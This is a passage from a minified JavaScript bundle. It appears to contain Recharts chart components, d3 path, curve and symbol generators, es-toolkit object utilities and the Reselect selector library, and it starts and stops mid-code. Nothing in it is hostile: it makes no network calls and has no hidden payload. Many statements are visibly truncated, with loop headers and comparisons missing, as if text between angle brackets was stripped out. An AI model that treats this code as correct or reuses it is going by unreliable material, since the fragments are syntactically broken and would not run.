nePosition","underlineThickness","unicode","unicodeBidi","unicodeRange","unitsPerEm","vAlphabetic","values","vectorEffect","version","vertAdvY","vertOriginX","vertOriginY","vHanging","vIdeographic","viewTarget","visibility","vMathematical","widths","wordSpacing","writingMode","x1","x2","x","xChannelSelector","xHeight","xlinkActuate","xlinkArcrole","xlinkHref","xlinkRole","xlinkShow","xlinkTitle","xlinkType","xmlBase","xmlLang","xmlns","xmlnsXlink","xmlSpace","y1","y2","y","yChannelSelector","z","zoomAndPan","ref","key","angle"],xq=new Set(bq);function WP(e){return typeof e!="string"?!1:xq.has(e)}function XP(e){return typeof e=="string"&&e.startsWith("data-")}function Ur(e){if(typeof e!="object"||e===null)return{};var t={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(WP(n)||XP(n))&&(t[n]=e[n]);return t}function Ec(e){if(e==null)return null;if(v.isValidElement(e)&&typeof e.props=="object"&&e.props!==null){var t=e.props;return Ur(t)}return typeof e=="object"&&!Array.isArray(e)?Ur(e):null}function ur(e){var t={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(WP(n)||XP(n)||ix(n))&&(t[n]=e[n]);return t}var wq=["children","width","height","viewBox","className","style","title","desc"];function E0(){return E0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,width:r,height:i,viewBox:l,className:c,style:u,title:f,desc:h}=e,p=Sq(e,wq),m=l||{width:r,height:i,x:0,y:0},y=Ye("recharts-surface",c);return v.createElement("svg",E0({},ur(p),{className:y,width:r,height:i,style:u,viewBox:"".concat(m.x," ").concat(m.y," ").concat(m.width," ").concat(m.height),ref:t}),v.createElement("title",null,f),v.createElement("desc",null,h),n)}),Eq=["children","className"];function A0(){return A0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=Aq(e,Eq),l=Ye("recharts-layer",r);return v.createElement("g",A0({className:l},ur(i),{ref:t}),n)}),_q=v.createContext(null);function rt(e){return function(){return e}}const QP=Math.cos,Md=Math.sin,Cr=Math.sqrt,jd=Math.PI,Kh=2*jd,C0=Math.PI,_0=2*C0,Gi=1e-6,Tq=_0-Gi;function JP(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return JP;const n=10**t;return function(r){this._+=r[0];for(let i=1,l=r.length;iGi)if(!(Math.abs(m*f-h*p)>Gi)||!l)this._append`L${this._x1=t},${this._y1=n}`;else{let x=r-c,S=i-u,w=f*f+h*h,O=x*x+S*S,A=Math.sqrt(w),_=Math.sqrt(y),T=l*Math.tan((C0-Math.acos((w+y-O)/(2*A*_)))/2),j=T/_,M=T/A;Math.abs(j-1)>Gi&&this._append`L${t+j*p},${n+j*m}`,this._append`A${l},${l},0,0,${+(m*x>p*S)},${this._x1=t+M*f},${this._y1=n+M*h}`}}arc(t,n,r,i,l,c){if(t=+t,n=+n,r=+r,c=!!c,r<0)throw new Error(`negative radius: ${r}`);let u=r*Math.cos(i),f=r*Math.sin(i),h=t+u,p=n+f,m=1^c,y=c?i-l:l-i;this._x1===null?this._append`M${h},${p}`:(Math.abs(this._x1-h)>Gi||Math.abs(this._y1-p)>Gi)&&this._append`L${h},${p}`,r&&(y<0&&(y=y%_0+_0),y>Tq?this._append`A${r},${r},0,1,${m},${t-u},${n-f}A${r},${r},0,1,${m},${this._x1=h},${this._y1=p}`:y>Gi&&this._append`A${r},${r},0,${+(y>=C0)},${m},${this._x1=t+r*Math.cos(l)},${this._y1=n+r*Math.sin(l)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function ox(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new Mq(t)}function lx(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function eR(e){this._context=e}eR.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function Yh(e){return new eR(e)}function tR(e){return e[0]}function nR(e){return e[1]}function rR(e,t){var n=rt(!0),r=null,i=Yh,l=null,c=ox(u);e=typeof e=="function"?e:e===void 0?tR:rt(e),t=typeof t=="function"?t:t===void 0?nR:rt(t);function u(f){var h,p=(f=lx(f)).length,m,y=!1,x;for(r==null&&(l=i(x=c())),h=0;h<=p;++h)!(h=x;--S)u.point(T[S],j[S]);u.lineEnd(),u.areaEnd()}A&&(T[y]=+e(O,y,m),j[y]=+t(O,y,m),u.point(r?+r(O,y,m):T[y],n?+n(O,y,m):j[y]))}if(_)return u=null,_+""||null}function p(){return rR().defined(i).curve(c).context(l)}return h.x=function(m){return arguments.length?(e=typeof m=="function"?m:rt(+m),r=null,h):e},h.x0=function(m){return arguments.length?(e=typeof m=="function"?m:rt(+m),h):e},h.x1=function(m){return arguments.length?(r=m==null?null:typeof m=="function"?m:rt(+m),h):r},h.y=function(m){return arguments.length?(t=typeof m=="function"?m:rt(+m),n=null,h):t},h.y0=function(m){return arguments.length?(t=typeof m=="function"?m:rt(+m),h):t},h.y1=function(m){return arguments.length?(n=m==null?null:typeof m=="function"?m:rt(+m),h):n},h.lineX0=h.lineY0=function(){return p().x(e).y(t)},h.lineY1=function(){return p().x(e).y(n)},h.lineX1=function(){return p().x(r).y(t)},h.defined=function(m){return arguments.length?(i=typeof m=="function"?m:rt(!!m),h):i},h.curve=function(m){return arguments.length?(c=m,l!=null&&(u=c(l)),h):c},h.context=function(m){return arguments.length?(m==null?l=u=null:u=c(l=m),h):l},h}class aR{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function jq(e){return new aR(e,!0)}function Pq(e){return new aR(e,!1)}const sx={draw(e,t){const n=Cr(t/jd);e.moveTo(n,0),e.arc(0,0,n,0,Kh)}},Rq={draw(e,t){const n=Cr(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},iR=Cr(1/3),Dq=iR*2,kq={draw(e,t){const n=Cr(t/Dq),r=n*iR;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},Lq={draw(e,t){const n=Cr(t),r=-n/2;e.rect(r,r,n,n)}},Iq=.8908130915292852,oR=Md(jd/10)/Md(7*jd/10),zq=Md(Kh/10)*oR,$q=-QP(Kh/10)*oR,Bq={draw(e,t){const n=Cr(t*Iq),r=zq*n,i=$q*n;e.moveTo(0,-n),e.lineTo(r,i);for(let l=1;l<5;++l){const c=Kh*l/5,u=QP(c),f=Md(c);e.lineTo(f*n,-u*n),e.lineTo(u*r-f*i,f*r+u*i)}e.closePath()}},_g=Cr(3),Uq={draw(e,t){const n=-Cr(t/(_g*3));e.moveTo(0,n*2),e.lineTo(-_g*n,-n),e.lineTo(_g*n,-n),e.closePath()}},nr=-.5,rr=Cr(3)/2,T0=1/Cr(12),Hq=(T0/2+1)*3,qq={draw(e,t){const n=Cr(t/Hq),r=n/2,i=n*T0,l=r,c=n*T0+n,u=-l,f=c;e.moveTo(r,i),e.lineTo(l,c),e.lineTo(u,f),e.lineTo(nr*r-rr*i,rr*r+nr*i),e.lineTo(nr*l-rr*c,rr*l+nr*c),e.lineTo(nr*u-rr*f,rr*u+nr*f),e.lineTo(nr*r+rr*i,nr*i-rr*r),e.lineTo(nr*l+rr*c,nr*c-rr*l),e.lineTo(nr*u+rr*f,nr*f-rr*u),e.closePath()}};function Fq(e,t){let n=null,r=ox(i);e=typeof e=="function"?e:rt(e||sx),t=typeof t=="function"?t:rt(t===void 0?64:+t);function i(){let l;if(n||(n=l=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),l)return n=null,l+""||null}return i.type=function(l){return arguments.length?(e=typeof l=="function"?l:rt(l),i):e},i.size=function(l){return arguments.length?(t=typeof l=="function"?l:rt(+l),i):t},i.context=function(l){return arguments.length?(n=l??null,i):n},i}function Pd(){}function Rd(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function lR(e){this._context=e}lR.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:Rd(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:Rd(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Vq(e){return new lR(e)}function sR(e){this._context=e}sR.prototype={areaStart:Pd,areaEnd:Pd,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:Rd(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Kq(e){return new sR(e)}function cR(e){this._context=e}cR.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:Rd(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Yq(e){return new cR(e)}function uR(e){this._context=e}uR.prototype={areaStart:Pd,areaEnd:Pd,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function Gq(e){return new uR(e)}function wC(e){return e<0?-1:1}function SC(e,t,n){var r=e._x1-e._x0,i=t-e._x1,l=(e._y1-e._y0)/(r||i<0&&-0),c=(n-e._y1)/(i||r<0&&-0),u=(l*i+c*r)/(r+i);return(wC(l)+wC(c))*Math.min(Math.abs(l),Math.abs(c),.5*Math.abs(u))||0}function OC(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function Tg(e,t,n){var r=e._x0,i=e._y0,l=e._x1,c=e._y1,u=(l-r)/3;e._context.bezierCurveTo(r+u,i+u*t,l-u,c-u*n,l,c)}function Dd(e){this._context=e}Dd.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:Tg(this,this._t0,OC(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,Tg(this,OC(this,n=SC(this,e,t)),n);break;default:Tg(this,this._t0,n=SC(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function fR(e){this._context=new dR(e)}(fR.prototype=Object.create(Dd.prototype)).point=function(e,t){Dd.prototype.point.call(this,t,e)};function dR(e){this._context=e}dR.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,l){this._context.bezierCurveTo(t,e,r,n,l,i)}};function Wq(e){return new Dd(e)}function Xq(e){return new fR(e)}function hR(e){this._context=e}hR.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=EC(e),i=EC(t),l=0,c=1;c=0;--t)i[t]=(c[t]-i[t+1])/l[t];for(l[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function Qq(e){return new Gh(e,.5)}function Jq(e){return new Gh(e,0)}function eF(e){return new Gh(e,1)}function so(e,t){if((c=e.length)>1)for(var n=1,r,i,l=e[t[0]],c,u=l.length;n=0;)n[t]=t;return n}function tF(e,t){return e[t]}function nF(e){const t=[];return t.key=e,t}function rF(){var e=rt([]),t=N0,n=so,r=tF;function i(l){var c=Array.from(e.apply(this,arguments),nF),u,f=c.length,h=-1,p;for(const m of l)for(u=0,++h;u0){for(var n,r,i=0,l=e[0].length,c;i0){for(var n=0,r=e[t[0]],i,l=r.length;n0)||!((l=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,l,c;r1&&arguments[1]!==void 0?arguments[1]:fF,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function gt(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var u=n[c-1];return typeof u=="string"?i+u+l:u!==void 0?i+yi(u)+l:i+l},"")}var tn=e=>e===0?0:e>0?1:-1,Hr=e=>typeof e=="number"&&e!=+e,Ea=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,Oe=e=>(typeof e=="number"||e instanceof Number)&&!Hr(e),qr=e=>Oe(e)||typeof e=="string",dF=0,Ac=e=>{var t=++dF;return"".concat(e||"").concat(t)},on=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!Oe(t)&&typeof t!="string")return r;var l;if(Ea(t)){if(n==null)return r;var c=t.indexOf("%");l=n*parseFloat(t.slice(0,c))/100}else l=+t;return Hr(l)&&(l=r),i&&n!=null&&l>n&&(l=n),l},mR=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):co(r,t))===n)}var Vt=e=>e===null||typeof e>"u",Yc=e=>Vt(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function pF(e){return e!=null}function Gc(){}var mF=["type","size","sizeType"];function M0(){return M0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(Yc(e));return vR[t]||sx},OF=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*wF;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},EF=(e,t)=>{vR["symbol".concat(Yc(e))]=t},gR=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=bF(e,mF),l=RC(RC({},i),{},{type:t,size:n,sizeType:r}),c="circle";typeof t=="string"&&(c=t);var u=()=>{var y=SF(c),x=Fq().type(y).size(OF(n,r,c)),S=x();if(S!==null)return S},{className:f,cx:h,cy:p}=l,m=ur(l);return Oe(h)&&Oe(p)&&Oe(n)?v.createElement("path",M0({},m,{className:Ye("recharts-symbols",f),transform:"translate(".concat(h,", ").concat(p,")"),d:u()})):null};gR.registerSymbol=EF;var yR=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,AF=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(v.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{ix(i)&&(r[i]=(l=>n[i](n,l)))}),r},CF=(e,t,n)=>r=>(e(t,n,r),null),Wh=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var l=e[i];ix(i)&&typeof l=="function"&&(r||(r={}),r[i]=CF(l,t,n))}),r};function DC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function _F(e){for(var t=1;t(c[u]===void 0&&r[u]!==void 0&&(c[u]=r[u]),c),n);return l}var Lg={},Ig={},kC;function jF(){return kC||(kC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let l=0;l=0}e.isLength=t})(Ug)),Ug}var zC;function dx(){return zC||(zC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=PF();function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(Bg)),Bg}var Hg={},$C;function RF(){return $C||($C=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(Hg)),Hg}var BC;function DF(){return BC||(BC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=dx(),n=RF();function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})($g)),$g}var qg={},Fg={},UC;function kF(){return UC||(UC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=fx();function n(r){return function(i){return t.get(i,r)}}e.property=n})(Fg)),Fg}var Vg={},Kg={},Yg={},Gg={},HC;function xR(){return HC||(HC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})(Gg)),Gg}var Wg={},qC;function wR(){return qC||(qC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof n!="function"}e.isPrimitive=t})(Wg)),Wg}var Xg={},FC;function SR(){return FC||(FC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.eq=t})(Xg)),Xg}var VC;function LF(){return VC||(VC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=xR(),n=wR(),r=SR();function i(p,m,y){return typeof y!="function"?i(p,m,()=>{}):l(p,m,function x(S,w,O,A,_,T){const j=y(S,w,O,A,_,T);return j!==void 0?!!j:l(S,w,x,T)},new Map)}function l(p,m,y,x){if(m===p)return!0;switch(typeof m){case"object":return c(p,m,y,x);case"function":return Object.keys(m).length>0?l(p,{...m},y,x):r.eq(p,m);default:return t.isObject(p)?typeof m=="string"?m==="":!0:r.eq(p,m)}}function c(p,m,y,x){if(m==null)return!0;if(Array.isArray(m))return f(p,m,y,x);if(m instanceof Map)return u(p,m,y,x);if(m instanceof Set)return h(p,m,y,x);const S=Object.keys(m);if(p==null||n.isPrimitive(p))return S.length===0;if(S.length===0)return!0;if(x?.has(m))return x.get(m)===p;x?.set(m,p);try{for(let w=0;w{})}e.isMatch=n})(Kg)),Kg}var Zg={},Qg={},Jg={},YC;function IF(){return YC||(YC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Object.getOwnPropertySymbols(n).filter(r=>Object.prototype.propertyIsEnumerable.call(n,r))}e.getSymbols=t})(Jg)),Jg}var ey={},GC;function ER(){return GC||(GC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null?n===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(n)}e.getTag=t})(ey)),ey}var ty={},WC;function AR(){return WC||(WC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t="[object RegExp]",n="[object String]",r="[object Number]",i="[object Boolean]",l="[object Arguments]",c="[object Symbol]",u="[object Date]",f="[object Map]",h="[object Set]",p="[object Array]",m="[object Function]",y="[object ArrayBuffer]",x="[object Object]",S="[object Error]",w="[object DataView]",O="[object Uint8Array]",A="[object Uint8ClampedArray]",_="[object Uint16Array]",T="[object Uint32Array]",j="[object BigUint64Array]",M="[object Int8Array]",P="[object Int16Array]",R="[object Int32Array]",I="[object BigInt64Array]",B="[object Float32Array]",q="[object Float64Array]";e.argumentsTag=l,e.arrayBufferTag=y,e.arrayTag=p,e.bigInt64ArrayTag=I,e.bigUint64ArrayTag=j,e.booleanTag=i,e.dataViewTag=w,e.dateTag=u,e.errorTag=S,e.float32ArrayTag=B,e.float64ArrayTag=q,e.functionTag=m,e.int16ArrayTag=P,e.int32ArrayTag=R,e.int8ArrayTag=M,e.mapTag=f,e.numberTag=r,e.objectTag=x,e.regexpTag=t,e.setTag=h,e.stringTag=n,e.symbolTag=c,e.uint16ArrayTag=_,e.uint32ArrayTag=T,e.uint8ArrayTag=O,e.uint8ClampedArrayTag=A})(ty)),ty}var ny={},XC;function zF(){return XC||(XC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}e.isTypedArray=t})(ny)),ny}var ZC;function CR(){return ZC||(ZC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=IF(),n=ER(),r=AR(),i=wR(),l=zF();function c(p,m){return u(p,void 0,p,new Map,m)}function u(p,m,y,x=new Map,S=void 0){const w=S?.(p,m,y,x);if(w!==void 0)return w;if(i.isPrimitive(p))return p;if(x.has(p))return x.get(p);if(Array.isArray(p)){const O=new Array(p.length);x.set(p,O);for(let A=0;At.isMatch(l,i)}e.matches=r})(Vg)),Vg}var ry={},ay={},iy={},e_;function UF(){return e_||(e_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=CR(),n=AR();function r(i,l){return t.cloneDeepWith(i,(c,u,f,h)=>{const p=l?.(c,u,f,h);if(p!==void 0)return p;if(typeof i=="object")switch(Object.prototype.toString.call(i)){case n.numberTag:case n.stringTag:case n.booleanTag:{const m=new i.constructor(i?.valueOf());return t.copyProperties(m,i),m}case n.argumentsTag:{const m={};return t.copyProperties(m,i),m.length=i.length,m[Symbol.iterator]=i[Symbol.iterator],m}default:return}})}e.cloneDeepWith=r})(iy)),iy}var t_;function HF(){return t_||(t_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=UF();function n(r){return t.cloneDeepWith(r)}e.cloneDeep=n})(ay)),ay}var oy={},ly={},n_;function _R(){return n_||(n_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=/^(?:0|[1-9]\d*)$/;function n(r,i=Number.MAX_SAFE_INTEGER){switch(typeof r){case"number":return Number.isInteger(r)&&r>=0&&re,ft=()=>{var e=v.useContext(hx);return e?e.store.dispatch:eV},dd=()=>{},tV=()=>dd,nV=(e,t)=>e===t;function we(e){var t=v.useContext(hx);return JF.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:tV,t?t.store.getState:dd,t?t.store.getState:dd,t?e:dd,nV)}function rV(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function aV(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function iV(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var d_=e=>Array.isArray(e)?e:[e];function oV(e){const t=Array.isArray(e[0])?e[0]:e;return iV(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function lV(e,t){const n=[],{length:r}=e;for(let i=0;i{n=Kf(),c.resetResultsCount()},c.resultsCount=()=>l,c.resetResultsCount=()=>{l=0},c}function fV(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let l=0,c=0,u,f={},h=i.pop();typeof h=="object"&&(f=h,h=i.pop()),rV(h,`createSelector expects an output function after the inputs, but received: [${typeof h}]`);const p={...n,...f},{memoize:m,memoizeOptions:y=[],argsMemoize:x=TR,argsMemoizeOptions:S=[]}=p,w=d_(y),O=d_(S),A=oV(i),_=m(function(){return l++,h.apply(null,arguments)},...w),T=x(function(){c++;const M=lV(A,arguments);return u=_.apply(null,M),u},...O);return Object.assign(T,{resultFunc:h,memoizedResultFunc:_,dependencies:A,dependencyRecomputations:()=>c,resetDependencyRecomputations:()=>{c=0},lastResult:()=>u,recomputations:()=>l,resetRecomputations:()=>{l=0},memoize:m,argsMemoize:x})};return Object.assign(r,{withTypes:()=>r}),r}var G=fV(TR),dV=Object.assign((e,t=G)=>{aV(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(l=>e[l]);return t(r,(...l)=>l.reduce((c,u,f)=>(c[n[f]]=u,c),{}))},{withTypes:()=>dV}),dy={},hy={},py={},p_;function hV(){return p_||(p_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,l)=>{if(r!==i){const c=t(r),u=t(i);if(c===u&&c===0){if(ri)return l==="desc"?-1:1}return l==="desc"?u-c:c-u}return 0};e.compareValues=n})(py)),py}var my={},vy={},m_;function NR(){return m_||(m_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(vy)),vy}var v_;function pV(){return v_||(v_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=NR(),n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(l,c){return Array.isArray(l)?!1:typeof l=="number"||typeof l=="boolean"||l==null||t.isSymbol(l)?!0:typeof l=="string"&&(r.test(l)||!n.test(l))||c!=null&&Object.hasOwn(c,l)}e.isKey=i})(my)),my}var g_;function mV(){return g_||(g_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=hV(),n=pV(),r=ux();function i(l,c,u,f){if(l==null)return[];u=f?void 0:u,Array.isArray(l)||(l=Object.values(l)),Array.isArray(c)||(c=c==null?[null]:[c]),c.length===0&&(c=[null]),Array.isArray(u)||(u=u==null?[]:[u]),u=u.map(x=>String(x));const h=(x,S)=>{let w=x;for(let O=0;OS==null||x==null?S:typeof x=="object"&&"key"in x?Object.hasOwn(S,x.key)?S[x.key]:h(S,x.path):typeof x=="function"?x(S):Array.isArray(x)?h(S,x):typeof S=="object"?S[x]:S,m=c.map(x=>(Array.isArray(x)&&x.length===1&&(x=x[0]),x==null||typeof x=="function"||Array.isArray(x)||n.isKey(x)?x:{key:x,path:r.toPath(x)}));return l.map(x=>({original:x,criteria:m.map(S=>p(S,x))})).slice().sort((x,S)=>{for(let w=0;wx.original)}e.orderBy=i})(hy)),hy}var gy={},y_;function vV(){return y_||(y_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],l=Math.floor(r),c=(u,f)=>{for(let 